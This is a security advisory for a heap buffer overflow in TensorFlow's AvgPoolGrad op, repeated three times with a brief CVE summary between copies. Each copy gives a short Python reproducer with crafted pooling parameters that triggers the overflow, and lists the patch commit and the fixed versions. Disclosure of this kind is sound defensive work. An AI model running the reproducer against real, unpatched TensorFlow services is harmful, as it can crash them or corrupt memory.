Advisory Package Curation

TensorFlow has Heap-buffer-overflow in AvgPoolGrad ### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ``` ### Patches We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b. The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult our security guide https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by <evn@google.com>

Heap-based Buffer Overflow TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.

TensorFlow has Heap-buffer-overflow in AvgPoolGrad ### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ``` ### Patches We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b. The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult our security guide https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by <evn@google.com>

TensorFlow has Heap-buffer-overflow in AvgPoolGrad ### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ``` ### Patches We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b. The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult our security guide https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by <evn@google.com>